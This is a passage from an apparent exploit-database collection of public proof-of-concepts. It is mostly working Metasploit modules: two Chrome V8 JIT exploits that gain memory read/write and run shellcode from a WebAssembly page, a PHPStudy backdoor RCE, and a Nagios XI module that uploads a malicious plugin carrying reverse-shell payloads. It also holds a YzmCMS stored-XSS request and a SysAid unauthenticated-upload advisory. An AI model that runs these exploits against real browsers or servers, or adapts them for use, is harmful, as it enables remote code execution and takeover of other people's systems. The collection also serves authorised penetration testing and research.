      which is then replaced with the payload shellcode.
      The payload is executed within the sandboxed renderer process, so the browser
      must be run with the --no-sandbox option for the payload to work correctly.
      },
      'License'        => MSF_LICENSE,
      'Author'         => [
          'Clément Lecigne', # discovery
          'István Kurucsai', # exploit
          'Vignesh S Rao',   # exploit
          'timwr', # metasploit copypasta
        ],
      'References'     => [
          ['CVE', '2020-6418'],
          ['URL', 'https://bugs.chromium.org/p/chromium/issues/detail?id=1053604'],
          ['URL', 'https://blog.exodusintel.com/2020/02/24/a-eulogy-for-patch-gapping'],
          ['URL', 'https://ray-cp.github.io/archivers/browser-pwn-cve-2020-6418%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90'],
        ],
      'Arch'           => [ ARCH_X64 ],
      'DefaultTarget'  => 0,
      'Targets'        =>
        [
          ['Windows 10 - Google Chrome 80.0.3987.87 (64 bit)', {'Platform' => 'win'}],
          ['macOS - Google Chrome 80.0.3987.87 (64 bit)', {'Platform' => 'osx'}],
        ],
      'DisclosureDate' => 'Feb 19 2020'))
    register_advanced_options([
      OptBool.new('DEBUG_EXPLOIT', [false, "Show debug information during exploitation", false]),
    ])
  end

  def on_request_uri(cli, request)
    if datastore['DEBUG_EXPLOIT'] && request.uri =~ %r{/print$*}
      print_status("[*] #{request.body}")
      send_response(cli, '')
      return
    end

    print_status("Sending #{request.uri} to #{request['User-Agent']}")
    escaped_payload = Rex::Text.to_unescape(payload.raw)
    jscript = %Q^
var shellcode = unescape("#{escaped_payload}");

// HELPER FUNCTIONS
let conversion_buffer = new ArrayBuffer(8);
let float_view = new Float64Array(conversion_buffer);
let int_view = new BigUint64Array(conversion_buffer);
BigInt.prototype.hex = function() {
    return '0x' + this.toString(16);
};
BigInt.prototype.i2f = function() {
    int_view[0] = this;
    return float_view[0];
}
BigInt.prototype.smi2f = function() {
    int_view[0] = this << 32n;
    return float_view[0];
}
Number.prototype.f2i = function() {
    float_view[0] = this;
    return int_view[0];
}
Number.prototype.f2smi = function() {
    float_view[0] = this;
    return int_view[0] >> 32n;
}

Number.prototype.fhw = function() {
    float_view[0] = this;
    return int_view[0] >> 32n;
}

Number.prototype.flw = function() {
    float_view[0] = this;
    return int_view[0] & BigInt(2**32-1);
}

Number.prototype.i2f = function() {
    return BigInt(this).i2f();
}
Number.prototype.smi2f = function() {
    return BigInt(this).smi2f();
}

function hex(a) {
    return a.toString(16);
}

//
// EXPLOIT
//

// the number of holes here determines the OOB write offset
let vuln = [0.1, ,,,,,,,,,,,,,,,,,,,,,, 6.1, 7.1, 8.1];
var float_rel;      // float array, initially corruption target
var float_carw;     // float array, used for reads/writes within the compressed heap
var uint64_aarw;    // uint64 typed array, used for absolute reads/writes in the entire address space
var obj_leaker;     // used to implement addrof
vuln.pop();
vuln.pop();
vuln.pop();

function empty() {}

function f(nt) {
    // The compare operation enforces an effect edge between JSCreate and Array.push, thus introducing the bug
    vuln.push(typeof(Reflect.construct(empty, arguments, nt)) === Proxy ? 0.2 : 156842065920.05);
    for (var i = 0; i < 0x10000; ++i) {};
}

let p = new Proxy(Object, {
    get: function() {
        vuln[0] = {};
        float_rel = [0.2, 1.2, 2.2, 3.2, 4.3];
        float_carw = [6.6];
        uint64_aarw = new BigUint64Array(4);
        obj_leaker = {
            a: float_rel,
            b: float_rel,
        };

        return Object.prototype;
    }
});

function main(o) {
  for (var i = 0; i < 0x10000; ++i) {};
  return f(o);
}

// reads 4 bytes from the compressed heap at the specified dword offset after float_rel
function crel_read4(offset) {
    var qw_offset = Math.floor(offset / 2);
    if (offset & 1 == 1) {
        return float_rel[qw_offset].fhw();
    } else {
        return float_rel[qw_offset].flw();
    }
}

// writes the specified 4-byte BigInt value to the compressed heap at the specified offset after float_rel
function crel_write4(offset, val) {
    var qw_offset = Math.floor(offset / 2);
    // we are writing an 8-byte double under the hood
    // read out the other half and keep its value
    if (offset & 1 == 1) {
        temp = float_rel[qw_offset].flw();
        new_val = (val << 32n | temp).i2f();
        float_rel[qw_offset] = new_val;
    } else {
        temp = float_rel[qw_offset].fhw();
        new_val = (temp << 32n | val).i2f();
        float_rel[qw_offset] = new_val;
    }
}

const float_carw_elements_offset = 0x14;

function cabs_read4(caddr) {
    elements_addr = caddr - 8n | 1n;
    crel_write4(float_carw_elements_offset, elements_addr);
    print('cabs_read4: ' + hex(float_carw[0].f2i()));
    res = float_carw[0].flw();
    // TODO restore elements ptr
    return res;
}


// This function provides arbitrary within read the compressed heap
function cabs_read8(caddr) {
    elements_addr = caddr - 8n | 1n;
    crel_write4(float_carw_elements_offset, elements_addr);
    print('cabs_read8: ' + hex(float_carw[0].f2i()));
    res = float_carw[0].f2i();
    // TODO restore elements ptr
    return res;
}

// This function provides arbitrary write within the compressed heap
function cabs_write4(caddr, val) {
    elements_addr = caddr - 8n | 1n;

    temp = cabs_read4(caddr + 4n | 1n);
    print('cabs_write4 temp: '+ hex(temp));

    new_val = (temp << 32n | val).i2f();

    crel_write4(float_carw_elements_offset, elements_addr);
    print('cabs_write4 prev_val: '+ hex(float_carw[0].f2i()));

    float_carw[0] = new_val;
    // TODO restore elements ptr
    return res;
}

const objleaker_offset = 0x41;
function addrof(o) {
    obj_leaker.b = o;
    addr = crel_read4(objleaker_offset) & BigInt(2**32-2);
    obj_leaker.b = {};
    return addr;
}

const uint64_externalptr_offset = 0x1b;     // in 8-bytes

// Arbitrary read. We corrupt the backing store of the `uint64_aarw` array and then read from the array
function read8(addr) {
    faddr = addr.i2f();
    t1 = float_rel[uint64_externalptr_offset];
    t2 = float_rel[uint64_externalptr_offset + 1];
    float_rel[uint64_externalptr_offset] = faddr;
    float_rel[uint64_externalptr_offset + 1] = 0.0;

    val = uint64_aarw[0];

    float_rel[uint64_externalptr_offset] = t1;
    float_rel[uint64_externalptr_offset + 1] = t2;
    return val;
}

// Arbitrary write. We corrupt the backing store of the `uint64_aarw` array and then write into the array
function write8(addr, val) {
    faddr = addr.i2f();
    t1 = float_rel[uint64_externalptr_offset];
    t2 = float_rel[uint64_externalptr_offset + 1];
    float_rel[uint64_externalptr_offset] = faddr;
    float_rel[uint64_externalptr_offset + 1] = 0.0;

    uint64_aarw[0] = val;

    float_rel[uint64_externalptr_offset] = t1;
    float_rel[uint64_externalptr_offset + 1] = t2;
    return val;
}

// Given an array of bigints, this will write all the elements to the address provided as argument
function writeShellcode(addr, sc) {
    faddr = addr.i2f();
    t1 = float_rel[uint64_externalptr_offset];
    t2 = float_rel[uint64_externalptr_offset + 1];
    float_rel[uint64_externalptr_offset - 1] = 10;
    float_rel[uint64_externalptr_offset] = faddr;
    float_rel[uint64_externalptr_offset + 1] = 0.0;

    for (var i = 0; i < sc.length; ++i) {
        uint64_aarw[i] = sc[i]
    }

    float_rel[uint64_externalptr_offset] = t1;
    float_rel[uint64_externalptr_offset + 1] = t2;
}


function get_compressed_rw() {

    for (var i = 0; i < 0x10000; ++i) {empty();}

    main(empty);
    main(empty);

    // Function would be jit compiled now.
    main(p);

    print(`Corrupted length of float_rel array = ${float_rel.length}`);
}

function get_arw() {
    get_compressed_rw();
    print('should be 0x2: ' + hex(crel_read4(0x15)));
    let previous_elements = crel_read4(0x14);
    //print(hex(previous_elements));
    //print(hex(cabs_read4(previous_elements)));
    //print(hex(cabs_read4(previous_elements + 4n)));
    cabs_write4(previous_elements, 0x66554433n);
    //print(hex(cabs_read4(previous_elements)));
    //print(hex(cabs_read4(previous_elements + 4n)));

    print('addrof(float_rel): ' + hex(addrof(float_rel)));
    uint64_aarw[0] = 0x4142434445464748n;
}

function rce() {
    function get_wasm_func() {
        var importObject = {
            imports: { imported_func: arg => print(arg) }
        };
        bc = [0x0, 0x61, 0x73, 0x6d, 0x1, 0x0, 0x0, 0x0, 0x1, 0x8, 0x2, 0x60, 0x1, 0x7f, 0x0, 0x60, 0x0, 0x0, 0x2, 0x19, 0x1, 0x7, 0x69, 0x6d, 0x70, 0x6f, 0x72, 0x74, 0x73, 0xd, 0x69, 0x6d, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x5f, 0x66, 0x75, 0x6e, 0x63, 0x0, 0x0, 0x3, 0x2, 0x1, 0x1, 0x7, 0x11, 0x1, 0xd, 0x65, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x5f, 0x66, 0x75, 0x6e, 0x63, 0x0, 0x1, 0xa, 0x8, 0x1, 0x6, 0x0, 0x41, 0x2a, 0x10, 0x0, 0xb];
        wasm_code = new Uint8Array(bc);
        wasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_code), importObject);
        return wasm_mod.exports.exported_func;
    }

    let wasm_func = get_wasm_func();
    //  traverse the JSFunction object chain to find the RWX WebAssembly code page
    let wasm_func_addr = addrof(wasm_func);
    let sfi = cabs_read4(wasm_func_addr + 12n) - 1n;
    print('sfi: ' + hex(sfi));
    let WasmExportedFunctionData = cabs_read4(sfi + 4n) - 1n;
    print('WasmExportedFunctionData: ' + hex(WasmExportedFunctionData));

    let instance = cabs_read4(WasmExportedFunctionData + 8n) - 1n;
    print('instance: ' + hex(instance));

    let wasm_rwx_addr = cabs_read8(instance + 0x68n);
    print('wasm_rwx_addr: ' + hex(wasm_rwx_addr));

    // write the shellcode to the RWX page
    while(shellcode.length % 4 != 0){
        shellcode += "\u9090";
    }

    let sc = [];

    // convert the shellcode to BigInt
    for (let i = 0; i < shellcode.length; i += 4) {
        sc.push(BigInt(shellcode.charCodeAt(i)) + BigInt(shellcode.charCodeAt(i + 1) * 0x10000) + BigInt(shellcode.charCodeAt(i + 2) * 0x100000000) + BigInt(shellcode.charCodeAt(i + 3) * 0x1000000000000));
    }

    writeShellcode(wasm_rwx_addr,sc);

    print('success');
    wasm_func();
}


function exp() {
    get_arw();
    rce();
}

exp();
^

    if datastore['DEBUG_EXPLOIT']
      debugjs = %Q^
print = function(arg) {
  var request = new XMLHttpRequest();
  request.open("POST", "/print", false);
  request.send("" + arg);
};
^
      jscript = "#{debugjs}#{jscript}"
    else
      jscript.gsub!(/\/\/.*$/, '') # strip comments
      jscript.gsub!(/^\s*print\s*\(.*?\);\s*$/, '') # strip print(*);
    end

    html = %Q^
<html>
<head>
<script>
#{jscript}
</script>
</head>
<body>
</body>
</html>
    ^
    send_response(cli, html, {'Content-Type'=>'text/html', 'Cache-Control' => 'no-cache, no-store, must-revalidate', 'Pragma' => 'no-cache', 'Expires' => '0'})
  end

end
            
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ManualRanking

  include Msf::Exploit::Remote::HttpServer

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Google Chrome 67, 68 and 69 Object.create exploit',
      'Description'    => %q{
        This modules exploits a type confusion in Google Chromes JIT compiler.
      The Object.create operation can be used to cause a type confusion between a
      PropertyArray and a NameDictionary.
        The payload is executed within the rwx region of the sandboxed renderer
      process, so the browser must be run with the --no-sandbox option for the
      payload to work.
      },
      'License'        => MSF_LICENSE,
      'Author'         => [
          'saelo', # discovery and exploit
          'timwr', # metasploit module
        ],
      'References'     => [
          ['CVE', '2018-17463'],
          ['URL', 'http://www.phrack.org/papers/jit_exploitation.html'],
          ['URL', 'https://ssd-disclosure.com/archives/3783/ssd-advisory-chrome-type-confusion-in-jscreateobject-operation-to-rce'],
          ['URL', 'https://saelo.github.io/presentations/blackhat_us_18_attacking_client_side_jit_compilers.pdf'],
          ['URL', 'https://bugs.chromium.org/p/chromium/issues/detail?id=888923'],
        ],
      'Arch'           => [ ARCH_X64 ],
      'Platform'       => ['windows', 'osx'],
      'DefaultTarget'  => 0,
      'Targets'        => [ [ 'Automatic', { } ] ],
      'DisclosureDate' => 'Sep 25 2018'))
    register_advanced_options([
      OptBool.new('DEBUG_EXPLOIT', [false, "Show debug information during exploitation", false]),
    ])
  end

  def on_request_uri(cli, request)

    if datastore['DEBUG_EXPLOIT'] && request.uri =~ %r{/print$*}
      print_status("[*] " + request.body)
      send_response(cli, '')
      return
    end

    print_status("Sending #{request.uri} to #{request['User-Agent']}")

    jscript = %Q^
let shellcode = new Uint8Array([#{Rex::Text::to_num(payload.encoded)}]);

let ab = new ArrayBuffer(8);
let floatView = new Float64Array(ab);
let uint64View = new BigUint64Array(ab);
let uint8View = new Uint8Array(ab);

Number.prototype.toBigInt = function toBigInt() {
    floatView[0] = this;
    return uint64View[0];
};

BigInt.prototype.toNumber = function toNumber() {
    uint64View[0] = this;
    return floatView[0];
};

function hex(n) {
    return '0x' + n.toString(16);
};

function fail(s) {
    print('FAIL ' + s);
    throw null;
}

const NUM_PROPERTIES = 32;
const MAX_ITERATIONS = 100000;

function gc() {
    for (let i = 0; i < 200; i++) {
        new ArrayBuffer(0x100000);
    }
}

function make(properties) {
    let o = {inline: 42}      // TODO
    for (let i = 0; i < NUM_PROPERTIES; i++) {
        eval(`o.p${i} = properties[${i}];`);
    }
    return o;
}

function pwn() {
    function find_overlapping_properties() {
        let propertyNames = [];
        for (let i = 0; i < NUM_PROPERTIES; i++) {
            propertyNames[i] = `p${i}`;
        }
        eval(`
            function vuln(o) {
                let a = o.inline;
                this.Object.create(o);
                ${propertyNames.map((p) => `let ${p} = o.${p};`).join('\\n')}
                return [${propertyNames.join(', ')}];
            }
        `);

        let propertyValues = [];
        for (let i = 1; i < NUM_PROPERTIES; i++) {
            propertyValues[i] = -i;
        }

        for (let i = 0; i < MAX_ITERATIONS; i++) {
            let r = vuln(make(propertyValues));
            if (r[1] !== -1) {
                for (let i = 1; i < r.length; i++) {
                    if (i !== -r[i] && r[i] < 0 && r[i] > -NUM_PROPERTIES) {
                        return [i, -r[i]];
                    }
                }
            }
        }

        fail("Failed to find overlapping properties");
    }

    function addrof(obj) {
        eval(`
            function vuln(o) {
                let a = o.inline;
                this.Object.create(o);
                return o.p${p1}.x1;
            }
        `);

        let propertyValues = [];
        propertyValues[p1] = {x1: 13.37, x2: 13.38};
        propertyValues[p2] = {y1: obj};

        let i = 0;
        for (; i < MAX_ITERATIONS; i++) {
            let res = vuln(make(propertyValues));
            if (res !== 13.37)
                return res.toBigInt()
        }

        fail("Addrof failed");
    }

    function corrupt_arraybuffer(victim, newValue) {
        eval(`
            function vuln(o) {
                let a = o.inline;
                this.Object.create(o);
                let orig = o.p${p1}.x2;
                o.p${p1}.x2 = ${newValue.toNumber()};
                return orig;
            }
        `);

        let propertyValues = [];
        let o = {x1: 13.37, x2: 13.38};
        propertyValues[p1] = o;
        propertyValues[p2] = victim;

        for (let i = 0; i < MAX_ITERATIONS; i++) {
            o.x2 = 13.38;
            let r = vuln(make(propertyValues));
            if (r !== 13.38)
                return r.toBigInt();
        }

        fail("Corrupt ArrayBuffer failed");
    }

    let [p1, p2] = find_overlapping_properties();
    print(`Properties p${p1} and p${p2} overlap after conversion to dictionary mode`);

    let memview_buf = new ArrayBuffer(1024);
    let driver_buf = new ArrayBuffer(1024);

    gc();

    let memview_buf_addr = addrof(memview_buf);
    memview_buf_addr--;
    print(`ArrayBuffer @ ${hex(memview_buf_addr)}`);

    let original_driver_buf_ptr = corrupt_arraybuffer(driver_buf, memview_buf_addr);

    let driver = new BigUint64Array(driver_buf);
    let original_memview_buf_ptr = driver[4];

    let memory = {
        write(addr, bytes) {
            driver[4] = addr;
            let memview = new Uint8Array(memview_buf);
            memview.set(bytes);
        },
        read(addr, len) {
            driver[4] = addr;
            let memview = new Uint8Array(memview_buf);
            return memview.subarray(0, len);
        },
        readPtr(addr) {
            driver[4] = addr;
            let memview = new BigUint64Array(memview_buf);
            return memview[0];
        },
        writePtr(addr, ptr) {
            driver[4] = addr;
            let memview = new BigUint64Array(memview_buf);
            memview[0] = ptr;
        },
        addrof(obj) {
            memview_buf.leakMe = obj;
            let props = this.readPtr(memview_buf_addr + 8n);
            return this.readPtr(props + 15n) - 1n;
        },
    };

    // Generate a RWX region for the payload
    function get_wasm_instance() {
      var buffer = new Uint8Array([
        0,97,115,109,1,0,0,0,1,132,128,128,128,0,1,96,0,0,3,130,128,128,128,0,
        1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,
        128,128,0,0,7,146,128,128,128,0,2,6,109,101,109,111,114,121,2,0,5,104,
        101,108,108,111,0,0,10,136,128,128,128,0,1,130,128,128,128,0,0,11
      ]);
      return new WebAssembly.Instance(new WebAssembly.Module(buffer),{});
    }

    let wasm_instance = get_wasm_instance();
    let wasm_addr = memory.addrof(wasm_instance);
    print("wasm_addr @ " + hex(wasm_addr));
    let wasm_rwx_addr = memory.readPtr(wasm_addr + 0xe0n);
    print("wasm_rwx @ " + hex(wasm_rwx_addr));

    memory.write(wasm_rwx_addr, shellcode);

    let fake_vtab = new ArrayBuffer(0x80);
    let fake_vtab_u64 = new BigUint64Array(fake_vtab);
    let fake_vtab_addr = memory.readPtr(memory.addrof(fake_vtab) + 0x20n);

    let div = document.createElement('div');
    let div_addr = memory.addrof(div);
    print('div_addr @ ' + hex(div_addr));
    let el_addr = memory.readPtr(div_addr + 0x20n);
    print('el_addr @ ' + hex(div_addr));

    fake_vtab_u64.fill(wasm_rwx_addr, 6, 10);
    memory.writePtr(el_addr, fake_vtab_addr);

    print('Triggering...');

    // Trigger virtual call
    div.dispatchEvent(new Event('click'));

    // We are done here, repair the corrupted array buffers
    let addr = memory.addrof(driver_buf);
    memory.writePtr(addr + 32n, original_driver_buf_ptr);
    memory.writePtr(memview_buf_addr + 32n, original_memview_buf_ptr);
}

pwn();
^

    if datastore['DEBUG_EXPLOIT']
      debugjs = %Q^
print = function(arg) {
  var request = new XMLHttpRequest();
  request.open("POST", "/print", false);
  request.send("" + arg);
};
^
      jscript = "#{debugjs}#{jscript}"
    else
      jscript.gsub!(/\/\/.*$/, '') # strip comments
      jscript.gsub!(/^\s*print\s*\(.*?\);\s*$/, '') # strip print(*);
    end

    html = %Q^
<html>
<head>
<script>
#{jscript}
</script>
</head>
<body>
</body>
</html>
^

    send_response(cli, html, {'Content-Type'=>'text/html', 'Cache-Control' => 'no-cache, no-store, must-revalidate', 'Pragma' => 'no-cache', 'Expires' => '0'})
  end

end
            
# Exploit Title: YzmCMS 5.5 - 'url' Persistent Cross-Site Scripting
# Google Dork: N/A
# Date: 2020-03-10
# Exploit Author: En
# Vendor Homepage: https://github.com/yzmcms/yzmcms
# Software Link: https://github.com/yzmcms/yzmcms
# Version: V5.5
# Category: Web Application
# Patched Version: unpatched
# Tested on: Win10x64
# Platform: PHP
# CVE : N/A
#Exploit Author: En_dust

#Description:
#The add function defined in the Application/link/controller/link.class.php file does not filter the ‘url’ parameter, causing malicious code to be executed.


#PoC:
POST /yzmcms/link/link/add.html HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://127.0.0.1/yzmcms/link/link/add.html
Content-Length: 130
Cookie: CNZZDATA1261218610=2106045875-1559549499-%7C1569374982; PHPSESSID=fr095t87brjfc0l7d7sgj8oml4; yzmphp_adminid=45dfDWXXjGQg2Ce7Yg7oJZbld7iy8SN43sy2SKjq; yzmphp_adminname=7e49R0HXcjLHqBu5wgd9vXbD_D-Bq3Uq8TLw5UNpi8lIAw
DNT: 1
Connection: close

name=evalWebsite&url=javascript%3Aalert(%2FXSS%2F)&username=&email=&linktype=0&logo=&typeid=0&msg=&listorder=1&status=1&dosubmit=1
            
# Exploit Title: Sysaid 20.1.11 b26 - Remote Command Execution
# Google Dork: intext:"Help Desk Software by SysAid <http://www.sysaid.com/>"
# Date: 2020-03-09
# Exploit Author: Ahmed Sherif
# Vendor Homepage: https://www.sysaid.com/free-help-desk-software
# Software Link: [https://www.sysaid.com/free-help-desk-software
# Version:  Sysaid v20.1.11 b26
# Tested on: Windows Server 2016
# CVE : None

GhostCat Attack

The default
installation of Sysaid is enabling the exposure of AJP13 protocol which is used
by tomcat instance, this vulnerability has been released recently on
different blogposts
<https://www.zdnet.com/article/ghostcat-bug-impacts-all-apache-tomcat-versions-released-in-the-last-13-years/>.


*Proof-of-Concept*

[image: image.png]

The
attacker would be able to exploit the vulnerability and read the Web.XML of
Sysaid.
Unauthenticated File Upload

It was
found on the Sysaid application that an attacker would be able to upload files
without authenticated by directly access the below link:

http://REDACTED:8080/UploadIcon.jsp?uploadChatFile=true&parent=



In the above screenshot, it shows that an attacker can execute commands
in the system without any prior authentication to the system.
            
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'           => "PHPStudy Backdoor Remote Code execution",
      'Description'    => %q{
        This module can detect and exploit the backdoor of PHPStudy.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Dimensional',  #POC
          'Airevan'       #Metasploit Module
        ],
      'Platform'       => ['php'],
      'Arch'           => ARCH_PHP,
      'Targets'        =>
        [
          ['PHPStudy 2016-2018', {}]
        ],
      'References'    =>
        [
          ['URL', 'https://programmer.group/using-ghidra-to-analyze-the-back-door-of-phpstudy.html']
        ],
      'Privileged'     => false,
      'DisclosureDate' => "Sep 20 2019",
      'DefaultTarget'  => 0
    ))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base path', '/'])
      ])
  end
  def check
    uri = target_uri.path
    fingerprint = Rex::Text.rand_text_alpha(8)
    res = send_request_cgi({
      'method'  =>  'GET',
      'uri'     =>  normalize_uri(uri, 'index.php'),
      'headers' =>  {
        'Accept-Encoding' =>  'gzip,deflate',
        'Accept-Charset'  =>  Rex::Text.encode_base64("echo '#{fingerprint}';")
      }
    })

    if res && res.code == 200 && res.body.to_s.include?(fingerprint)
      return Exploit::CheckCode::Appears
    else
      return Exploit::CheckCode::Safe
    end
  end
  def exploit
    uri = target_uri.path
    print_good("Sending shellcode")
    res = send_request_cgi({
      'method'  => 'GET',
      'uri'     => normalize_uri(uri, 'index.php'),
      'headers' => {
          'Accept-Encoding' => 'gzip,deflate',
          'Accept-Charset'  => Rex::Text.encode_base64(payload.encoded)
      }
  })
  end
end
            
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(update_info(info,
      'Name'            => 'Nagios XI Authenticated Remote Command Execution',
      'Description'     => %q{
        This module exploits a vulnerability in Nagios XI before 5.6.6 in
        order to execute arbitrary commands as root.

        The module uploads a malicious plugin to the Nagios XI server and then
        executes this plugin by issuing an HTTP GET request to download a
        system profile from the server. For all supported targets except Linux
        (cmd), the module uses a command stager to write the exploit to the
        target via the malicious plugin. This may not work if Nagios XI is
        running in a restricted Unix environment, so in that case the target
        must be set to Linux (cmd). The module then writes the payload to the
        malicious plugin while avoiding commands that may not be supported.

        Valid credentials for a user with administrative privileges are
        required. This module was successfully tested on Nagios XI 5.6.5
        running on CentOS 7. The module may behave differently against older
        versions of Nagios XI. See the documentation for more information.
      },
      'License'         => MSF_LICENSE,
      'Author'          =>
        [
          'Jak Gibb',       # https://github.com/jakgibb/ - Discovery and exploit
          'Erik Wynter'     # @wyntererik - Metasploit
        ],
      'References'      =>
        [
          ['CVE', '2019-15949'],
          ['URL', 'https://github.com/jakgibb/nagiosxi-root-rce-exploit'] #original PHP exploit
        ],
      'Payload'        => { 'BadChars' => "\x00" },
      'Targets'        =>
        [
          [ 'Linux (x86)', {
            'Arch' => ARCH_X86,
            'Platform' => 'linux',
            'DefaultOptions' => {
              'PAYLOAD'     => 'linux/x86/meterpreter/reverse_tcp'
            }
          } ],
          [ 'Linux (x64)', {
            'Arch' => ARCH_X64,
            'Platform' => 'linux',
            'DefaultOptions' => {
              'PAYLOAD'     => 'linux/x64/meterpreter/reverse_tcp'
            }
          } ],
          [ 'Linux (cmd)', {
            'Arch' => ARCH_CMD,
            'Platform' => 'unix',
            'DefaultOptions' => {
              'PAYLOAD'     => 'cmd/unix/reverse_bash'
            },
            'Payload' => {
              'Append' => ' & disown',  # the payload must be disowned after execution, otherwise cleanup fails
              'BadChars' => "\""
            }
          } ]
        ],
      'Privileged'      => true,
      'DisclosureDate'  => 'Jul 29 2019',
      'DefaultOptions'  => {
        'RPORT' => 80,
        'HttpClientTimeout' => 2, #This is needed to close the connection to the server following the system profile download request.
        'WfsDelay'          => 10
        },
      'DefaultTarget'   => 1))
    register_options [
      OptString.new('TARGETURI', [true, 'Base path to NagiosXI', '/']),
      OptString.new('USERNAME', [true, 'Username to authenticate with', 'nagiosadmin']),
      OptString.new('PASSWORD', [true, 'Password to authenticate with', ''])
    ]

    register_advanced_options [
      OptBool.new('ForceExploit',  [false, 'Override check result', false])
    ]
    import_target_defaults
  end

  def check
    vprint_status("Running check")

    #visit Nagios XI login page to obtain the nsp value required for authentication
    res = send_request_cgi 'uri' => normalize_uri(target_uri.path, '/nagiosxi/login.php')

    unless res
      return CheckCode::Unknown('Connection failed')
    end

    unless res.code == 200 && res.body.include?('Nagios XI')
      return CheckCode::Safe('Target is not a Nagios XI application.')
    end

    @nsp = res.body.scan(/nsp_str = "([a-z0-9]+)/).flatten.first rescue ''

    if @nsp.to_s.eql? ''
      return CheckCode::NoAccess, 'Could not retrieve nsp value, making authentication impossible.'
    end

    #Attempt to authenticate
    @username = datastore['USERNAME']
    password = datastore['PASSWORD']
    cookie = res.get_cookies.delete_suffix(';') #remove trailing semi-colon

    auth_res = send_request_cgi({
      'uri'          => normalize_uri(target_uri.path, '/nagiosxi/login.php'),
      'method'       => 'POST',
      'cookie'       => cookie,
      'vars_post'    => {
        nsp: @nsp,
        page:  'auth',
        debug: '',
        pageopt: 'login',
        username: @username,
        password: password,
        loginButton: ''
      }
    })

    unless auth_res
      fail_with Failure::Unreachable, 'Connection failed'
    end

    unless auth_res.code == 302 && auth_res.headers['Location'] == "index.php"
      fail_with Failure::NoAccess, 'Authentication failed. Please provide a valid username and password.'
    end

    #Check Nagios XI version - this requires a separate request because following the redirect doesn't work
    @cookie = auth_res.get_cookies.delete_suffix(';') #remove trailing semi-colon
    @cookie = @cookie.split().last #app returns 3 cookies, we need only the last one
    version_check = send_request_cgi({
      'uri'          => normalize_uri(target_uri.path, '/nagiosxi/index.php'),
      'method'       => 'GET',
      'cookie'       => @cookie,
      'nsp'          => @nsp
    })

    unless version_check
      fail_with Failure::Unreachable, 'Connection failed'
    end

    unless version_check.code == 200 && version_check.body.include?('Home Dashboard')
      fail_with Failure::NoAccess, 'Authentication failed. Please provide a valid username and password.'
    end

    @version = version_check.body.scan(/product=nagiosxi&version=(\d+\.\d+\.\d+)/).flatten.first rescue ''
    if @version.to_s.eql? ''
      return CheckCode::Detected('Could not determine Nagios XI version.')
    end

    @version = Gem::Version.new @version

    unless @version <= Gem::Version.new('5.6.5')
      return CheckCode::Safe("Target is Nagios XI with version #{@version}.")
    end

    CheckCode::Appears("Target is Nagios XI with version #{@version}.")
  end

  def check_plugin_permissions
    res = send_request_cgi({
      'uri'          => normalize_uri(target_uri.path, '/nagiosxi/admin/monitoringplugins.php'),
      'method'       => 'GET',
      'cookie'       => @cookie,
      'nsp'          => @nsp
    })

    unless res
      fail_with Failure::Unreachable, 'Connection failed'
    end

    unless res.code == 200 && res.body.include?('Manage Plugins')
      fail_with(Failure::NoAccess, "The user #{@username} does not have permission to edit plugins, which is required for the exploit to work.")
    end

    @plugin_nsp = res.body.scan(/nsp_str = "([a-z0-9]+)/).flatten.first rescue ''
    if @plugin_nsp.to_s.eql? ''
      fail_with Failure::NoAccess, 'Failed to obtain the nsp value required for the exploit to work.'
    end

    @plugin_cookie = res.get_cookies.delete_suffix(';') #remove trailing semi-colon
  end

  def execute_command(cmd, opts = {})
    print_status("Uploading malicious 'check_ping' plugin...")
    boundary = rand_text_numeric(14)
    post_data = "-----------------------------#{boundary}\n"
    post_data << "Content-Disposition: form-data; name=\"upload\"\n\n1\n"
    post_data << "-----------------------------#{boundary}\n"
    post_data << "Content-Disposition: form-data; name=\"nsp\"\n\n"
    post_data << "#{@plugin_nsp}\n"
    post_data << "-----------------------------#{boundary}\n"
    post_data << "Content-Disposition: form-data; name=\"MAX_FILE_SIZE\"\n\n20000000\n"
    post_data << "-----------------------------#{boundary}\n"
    post_data << "Content-Disposition: form-data; name=\"uploadedfile\"; filename=\"check_ping\"\n" #the exploit doesn't work with a random filename
    post_data << "Content-Type: text/plain\n\n"
    post_data << "#{cmd}\n"
    post_data << "-----------------------------#{boundary}--\n"

    res = send_request_cgi({
      'uri'          => normalize_uri(target_uri.path, '/nagiosxi/admin/monitoringplugins.php'),
      'method'       => 'POST',
      'ctype'        => "multipart/form-data; boundary=---------------------------#{boundary}", #this needs to be specified here, otherwise the default value is sent in the header
      'cookie'       => @plugin_cookie,
      'data'         => post_data
    })

    unless res
      fail_with Failure::Unreachable, 'Upload failed'
    end

    unless res.code == 200 && res.body.include?('New plugin was installed successfully')
      fail_with Failure::Unknown, 'Failed to upload plugin.'
    end

    @plugin_installed = true
  end

  def execute_payload #This request will timeout. It has to, for the exploit to work.
    print_status("Executing plugin...")
    res = send_request_cgi({
      'uri'          => normalize_uri(target_uri.path, '/nagiosxi/includes/components/profile/profile.php'),
      'method'       => 'GET',
      'cookie'       => @cookie,
      'vars_get' => { cmd: 'download' }
    })
  end

  def cleanup()
